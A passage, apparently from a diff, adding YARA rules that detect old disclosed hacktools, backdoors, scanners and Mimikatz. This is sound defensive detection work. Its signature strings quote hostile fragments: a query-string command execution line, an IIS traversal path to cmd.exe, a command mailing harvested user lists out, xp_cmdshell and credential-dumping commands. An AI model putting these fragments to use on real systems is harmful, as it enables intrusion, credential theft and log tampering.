+		$s12 = "TftpPort" fullword ascii
+		$s13 = "Ttftpd32BackGround" fullword ascii
+		$s17 = "SOFTWARE\\TFTPD32" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_iecv {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file iecv.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "6e6e75350a33f799039e7a024722cde463328b6d"
+	strings:
+		$s1 = "Edit The Content Of Cookie " fullword wide
+		$s3 = "Accessories\\wordpad.exe" fullword ascii
+		$s4 = "gorillanation.com" fullword ascii
+		$s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
+		$s12 = "http://nirsoft.cjb.net" fullword ascii
+	condition:
+		all of them
+}
+
+rule Antiy_Ports_1_21 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
+	strings:
+		$s0 = "AntiyPorts.EXE" fullword wide
+		$s7 = "AntiyPorts MFC Application" fullword wide
+		$s20 = " @Stego:" fullword ascii
+	condition:
+		all of them
+}
+
+rule perlcmd_zip_Folder_cmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
+	strings:
+		$s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
+		$s1 = "s/%20/ /ig;" fullword ascii
+		$s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
+		$s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
+		$s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
+		$s6 = "$execthis = $_;" fullword ascii
+		$s7 = "system($execthis);" fullword ascii
+		$s12 = "s/%2f/\\//ig;" fullword ascii
+	condition:
+		6 of them
+}
+
+rule aspbackdoor_asp3 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp3.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
+	strings:
+		$s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
+		$s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
+		$s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
+		$s14 = " Windows NT " fullword ascii
+		$s16 = " WIndows 2000 " fullword ascii
+		$s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
+		$s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
+		$s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_FPipe {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+	strings:
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s3 = " -s    - outbound source port number" fullword ascii
+		$s5 = "http://www.foundstone.com" fullword ascii
+		$s20 = "Attempting to connect to %s port %d" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_concon {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file concon.com"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
+	strings:
+		$s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_regdll {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file regdll.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
+	strings:
+		$s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
+		$s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
+		$s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
+		$s5 = "Public Property Get oFS()" fullword ascii
+	condition:
+		all of them
+}
+
+rule CleanIISLog {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+	strings:
+		$s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
+		$s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
+		$s8 = "CleanIISLog Ver" fullword ascii
+		$s9 = "msftpsvc" fullword ascii
+		$s10 = "Fatal Error: MFC initialization failed" fullword ascii
+		$s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
+		$s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
+		$s16 = "Service %s Stopped." fullword ascii
+		$s20 = "Process Log File %s..." fullword ascii
+	condition:
+		5 of them
+}
+
+rule sqlcheck {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
+	strings:
+		$s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
+		$s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
+		$s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
+		$s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
+		$s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii
+	condition:
+		3 of them
+}
+
+rule sig_238_RunAsEx {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
+	strings:
+		$s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
+		$s8 = "cmd.bat" fullword ascii
+		$s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
+		$s11 = "%s Execute Succussifully." fullword ascii
+		$s12 = "winsta0" fullword ascii
+		$s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii
+	condition:
+		4 of them
+}
+
+rule sig_238_nbtdump {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
+	strings:
+		$s0 = "Creation of results file - \"%s\" failed." fullword ascii
+		$s1 = "c:\\>nbtdump remote-machine" fullword ascii
+		$s7 = "Cerberus NBTDUMP" fullword ascii
+		$s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
+		$s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
+		$s19 = "%s's password is %s</H3>" fullword wide
+		$s20 = "%s's password is blank</H3>" fullword wide
+	condition:
+		5 of them
+}
+
+rule sig_238_Glass2k {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
+	strings:
+		$s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
+		$s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
+		$s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
+		$s4 = "Glass2k.exe" fullword wide
+		$s7 = "NeoLite Executable File Compressor" fullword ascii
+	condition:
+		all of them
+}
+
+rule SplitJoin_V1_3_3_rar_Folder_3 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21409117b536664a913dcd159d6f4d8758f43435"
+	strings:
+		$s2 = "ie686@sohu.com" fullword ascii
+		$s3 = "splitjoin.exe" fullword ascii
+		$s7 = "SplitJoin" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_EDIT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
+	strings:
+		$s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
+		$s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
+		$s3 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
+		$s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
+		$s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
+		$s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii
+	condition:
+		5 of them
+}
+
+rule aspbackdoor_entice {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file entice.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
+	strings:
+		$s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
+		$s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
+		$s4 = "conndb.Execute(sqllanguage)" fullword ascii
+		$s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
+		$s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule FPipe2_0 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "891609db7a6787575641154e7aab7757e74d837b"
+	strings:
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = " -s    - outbound connection source port number" fullword ascii
+		$s3 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s4 = "http://www.foundstone.com" fullword ascii
+		$s19 = "FPipe" fullword ascii
+	condition:
+		all of them
+}
+
+rule InstGina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5317fbc39508708534246ef4241e78da41a4f31c"
+	strings:
+		$s0 = "To Open Registry" fullword ascii
+		$s4 = "I love Candy very much!!" ascii
+		$s5 = "GinaDLL" fullword ascii
+	condition:
+		all of them
+}
+
+rule ArtTray_zip_Folder_ArtTray {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
+	strings:
+		$s0 = "http://www.brigsoft.com" fullword wide
+		$s2 = "ArtTrayHookDll.dll" fullword ascii
+		$s3 = "ArtTray Version 1.0 " fullword wide
+		$s16 = "TRM_HOOKCALLBACK" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_findoor {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file findoor.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
+	strings:
+		$s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
+		$s8 = "PASS hacker@hacker.com" fullword ascii
+		$s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
+		$s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
+		$s11 = "http://isno.yeah.net" fullword ascii
+	condition:
+		4 of them
+}
+
+rule aspbackdoor_ipclear {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
+	strings:
+		$s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
+		$s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
+		$s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
+		$s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
+		$s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule WinEggDropShellFinal_zip_Folder_InjectT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
+	strings:
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "2TInject.Dll" fullword ascii
+		$s2 = "Windows Services" fullword ascii
+		$s3 = "Findrst6" fullword ascii
+		$s4 = "Press Any Key To Continue......" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_rshsvc {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file rshsvc.bat"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "fb15c31254a21412aecff6a6c4c19304eb5e7d75"
+	strings:
+		$s0 = "if not exist %1\\rshsetup.exe goto ERROR2" fullword ascii
+		$s1 = "ECHO rshsetup.exe is not found in the %1 directory" fullword ascii
+		$s9 = "REM %1 directory must have rshsetup.exe,rshsvc.exe and rshsvc.dll" fullword ascii
+		$s10 = "copy %1\\rshsvc.exe" fullword ascii
+		$s12 = "ECHO Use \"net start rshsvc\" to start the service." fullword ascii
+		$s13 = "rshsetup %SystemRoot%\\system32\\rshsvc.exe %SystemRoot%\\system32\\rshsvc.dll" fullword ascii
+		$s18 = "pushd %SystemRoot%\\system32" fullword ascii
+	condition:
+		all of them
+}
+
+rule gina_zip_Folder_gina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file gina.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
+	strings:
+		$s0 = "NEWGINA.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s3 = "WlxActivateUserShell" fullword ascii
+		$s6 = "WlxWkstaLockedSAS" fullword ascii
+		$s13 = "WlxIsLockOk" fullword ascii
+		$s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s16 = "WlxShutdown" fullword ascii
+		$s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule superscan3_0 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
+	strings:
+		$s0 = "\\scanner.ini" fullword ascii
+		$s1 = "\\scanner.exe" fullword ascii
+		$s2 = "\\scanner.lst" fullword ascii
+		$s4 = "\\hensss.lst" fullword ascii
+		$s5 = "STUB32.EXE" fullword wide
+		$s6 = "STUB.EXE" fullword wide
+		$s8 = "\\ws2check.exe" fullword ascii
+		$s9 = "\\trojans.lst" fullword ascii
+		$s10 = "1996 InstallShield Software Corporation" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_xsniff {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+	strings:
+		$s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s3 = "%s - simple sniffer for win2000" fullword ascii
+		$s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s7 = "http://www.xfocus.org" fullword ascii
+		$s9 = "  -pass        : Filter username/password" fullword ascii
+		$s18 = "  -udp         : Output udp packets" fullword ascii
+		$s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s20 = "  -tcp         : Output tcp packets" fullword ascii
+	condition:
+		6 of them
+}
+
+rule sig_238_fscan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file fscan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
+	strings:
+		$s0 = "FScan v1.12 - Command line port scanner." fullword ascii
+		$s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
+		$s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
+		$s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
+		$s12 = "Failed to open the IP list file \"%s\"" fullword ascii
+		$s13 = "http://www.foundstone.com" fullword ascii
+		$s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
+		$s18 = "Bind port number out of range. Using system default." fullword ascii
+		$s19 = "fscan.exe" fullword wide
+	condition:
+		4 of them
+}
+
+rule _iissample_nesscan_twwwscan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		super_rule = 1
+		hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
+		hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
+		hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
+	strings:
+		$s0 = "Connecting HTTP Port - Result: " fullword
+		$s1 = "No space for command line argument vector" fullword
+		$s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
+		$s5 = "No space for copy of command line" fullword
+		$s7 = "-  Windows NT,2000 Patch Method  - " fullword
+		$s8 = "scanf : floating point formats not linked" fullword
+		$s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
+		$s13 = "!\"what?\"" fullword
+		$s14 = "%s Port %d Closed" fullword
+		$s16 = "printf : floating point formats not linked" fullword
+		$s17 = "xxtype.cpp" fullword
+	condition:
+		all of them
+}
+
+rule _FsHttp_FsPop_FsSniffer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		super_rule = 1
+		hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
+		hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
+		hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
+	strings:
+		$s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
+		$s1 = "-ERR Get SMS Users ID Failed" fullword
+		$s2 = "Control Time Out 90 Secs, Connection Closed" fullword
+		$s3 = "-ERR Post SMS Failed" fullword
+		$s4 = "Current.hlt" fullword
+		$s6 = "Histroy.hlt" fullword
+		$s7 = "-ERR Send SMS Failed" fullword
+		$s12 = "-ERR Change Password <New Password>" fullword
+		$s17 = "+OK Send SMS Succussifully" fullword
+		$s18 = "+OK Set New Password: [%s]" fullword
+		$s19 = "CHANGE PASSWORD" fullword
+	condition:
+		all of them
+}
+
+rule Ammyy_Admin_AA_v3 {
+	meta:
+		description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/gkAg2E"
+		date = "2014/12/22"
+		score = 55
+		hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
+		hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
+	strings:
+		$x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
+		$x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
+		$x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
+		$x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
+		$x5 = "Please enter password for accessing remote computer" fullword ascii
+
+		$s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
+		$s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
+		$s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
+		$s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii
+	condition:
+		2 of ($x*) or all of ($s*)
+}
+
+/* Other dumper and custom hack tools */
+
+rule LinuxHacktool_eyes_scanssh {
+	meta:
+		description = "Linux hack tools - file scanssh"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
+	strings:
+		$s0 = "Connection closed by remote host" fullword ascii
+		$s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
+		$s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
+		$s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
+		$s5 = "Server closed connection" fullword ascii
+		$s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
+		$s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
+		$s9 = "Remote host closed connection" fullword ascii
+		$s10 = "%s: line %d: bad command `%s'" fullword ascii
+		$s13 = "verifying that server is a known host : file %s not found" fullword ascii
+		$s14 = "%s: line %d: expected service, found `%s'" fullword ascii
+		$s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
+		$s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii
+	condition:
+		all of them
+}
+
+rule LinuxHacktool_eyes_pscan2 {
+	meta:
+		description = "Linux hack tools - file pscan2"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "56b476cba702a4423a2d805a412cae8ef4330905"
+	strings:
+		$s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
+		$s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
+		$s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
+		$s8 = "Invalid IP." fullword ascii
+		$s9 = "# scanning: " fullword ascii
+		$s10 = "Unable to allocate socket." fullword ascii
+	condition:
+		2 of them
+}
+
+rule LinuxHacktool_eyes_a {
+	meta:
+		description = "Linux hack tools - file a"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
+	strings:
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "mv scan.log bios.txt" fullword ascii
+		$s2 = "rm -rf bios.txt" fullword ascii
+		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
+		$s4 = "././pscan2 $1 22" fullword ascii
+		$s10 = "echo \"#cautam...\"" fullword ascii
+	condition:
+		2 of them
+}
+
+rule LinuxHacktool_eyes_mass {
+	meta:
+		description = "Linux hack tools - file mass"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "2054cb427daaca9e267b252307dad03830475f15"
+	strings:
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
+		$s3 = "killall -9 pscan2" fullword ascii
+		$s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
+		$s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii
+	condition:
+		1 of them
+}
+
+rule LinuxHacktool_eyes_pscan2_2 {
+	meta:
+		description = "Linux hack tools - file pscan2.c"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "eb024dfb441471af7520215807c34d105efa5fd8"
+	strings:
+		$s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
+		$s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
+		$s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
+		$s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
+		$s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii
+	condition:
+		2 of them
+}
+
+rule CN_Portscan : APT
+{
+    meta:
+        description = "CN Port Scanner"
+        author = "Florian Roth"
+        release_date = "2013-11-29"
+        confidential = false
+		score = 70
+    strings:
+    	$s1 = "MZ"
+		$s2 = "TCP 12.12.12.12"
+    condition:
+        ($s1 at 0) and $s2
+}
+
+rule WMI_vbs : APT
+{
+    meta:
+        description = "WMI Tool - APT"
+        author = "Florian Roth"
+        release_date = "2013-11-29"
+        confidential = false
+		score = 70
+    strings:
+		$s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"
+    condition:
+        all of them
+}
+
+rule CN_Toolset__XScanLib_XScanLib_XScanLib {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		super_rule = 1
+		hash0 = "af419603ac28257134e39683419966ab3d600ed2"
+		hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+		hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
+	strings:
+		$s1 = "Plug-in thread causes an exception, failed to alert user." fullword
+		$s2 = "PlugGetUdpPort" fullword
+		$s3 = "XScanLib.dll" fullword
+		$s4 = "PlugGetTcpPort" fullword
+		$s11 = "PlugGetVulnNum" fullword
+	condition:
+		all of them
+}
+
+rule CN_Toolset_NTscan_PipeCmd {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
+	strings:
+		$s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s3 = "PipeCmd.exe" fullword wide
+		$s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s5 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
+		$s9 = "PipeCmdSrv.exe" fullword ascii
+		$s10 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
+		$s14 = "PIPECMDSRV" fullword wide
+		$s15 = "PipeCmd Service" fullword ascii
+	condition:
+		4 of them
+}
+
+rule CN_Toolset_LScanPortss_2 {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "4631ec57756466072d83d49fbc14105e230631a0"
+	strings:
+		$s1 = "LScanPort.EXE" fullword wide
+		$s3 = "www.honker8.com" fullword wide
+		$s4 = "DefaultPort.lst" fullword ascii
+		$s5 = "Scan over.Used %dms!" fullword ascii
+		$s6 = "www.hf110.com" fullword wide
+		$s15 = "LScanPort Microsoft " fullword wide
+		$s18 = "L-ScanPort2.0 CooFly" fullword wide
+	condition:
+		4 of them
+}
+
+rule CN_Toolset_sig_1433_135_sqlr {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
+	strings:
+		$s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
+		$s11 = ";DATABASE=master" fullword ascii
+		$s12 = "xp_cmdshell '" fullword ascii
+		$s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii
+	condition:
+		all of them
+}
+
+rule DarkComet_Keylogger_File
+{
+	meta:
+		author = "Florian Roth"
+		description = "Looks like a keylogger file created by DarkComet Malware"
+		date = "25.07.14"
+		score = 50
+	strings:
+		$magic = "::"
+		$entry = /\n:: [A-Z]/
+		$timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/
+	condition:
+		($magic at 0) and #entry > 10 and #timestamp > 10
+}
+
+/* Mimikatz */
+
+rule Mimikatz_Memory_Rule_1 : APT {
+	meta:
+		author = "Florian Roth"
+		date = "12/22/2014"
+		score = 70
+		type = "memory"
+		description = "Detects password dumper mimikatz in memory"
+	strings:
+		$s1 = "sekurlsa::msv" fullword ascii
+	    $s2 = "sekurlsa::wdigest" fullword ascii
+	    $s4 = "sekurlsa::kerberos" fullword ascii
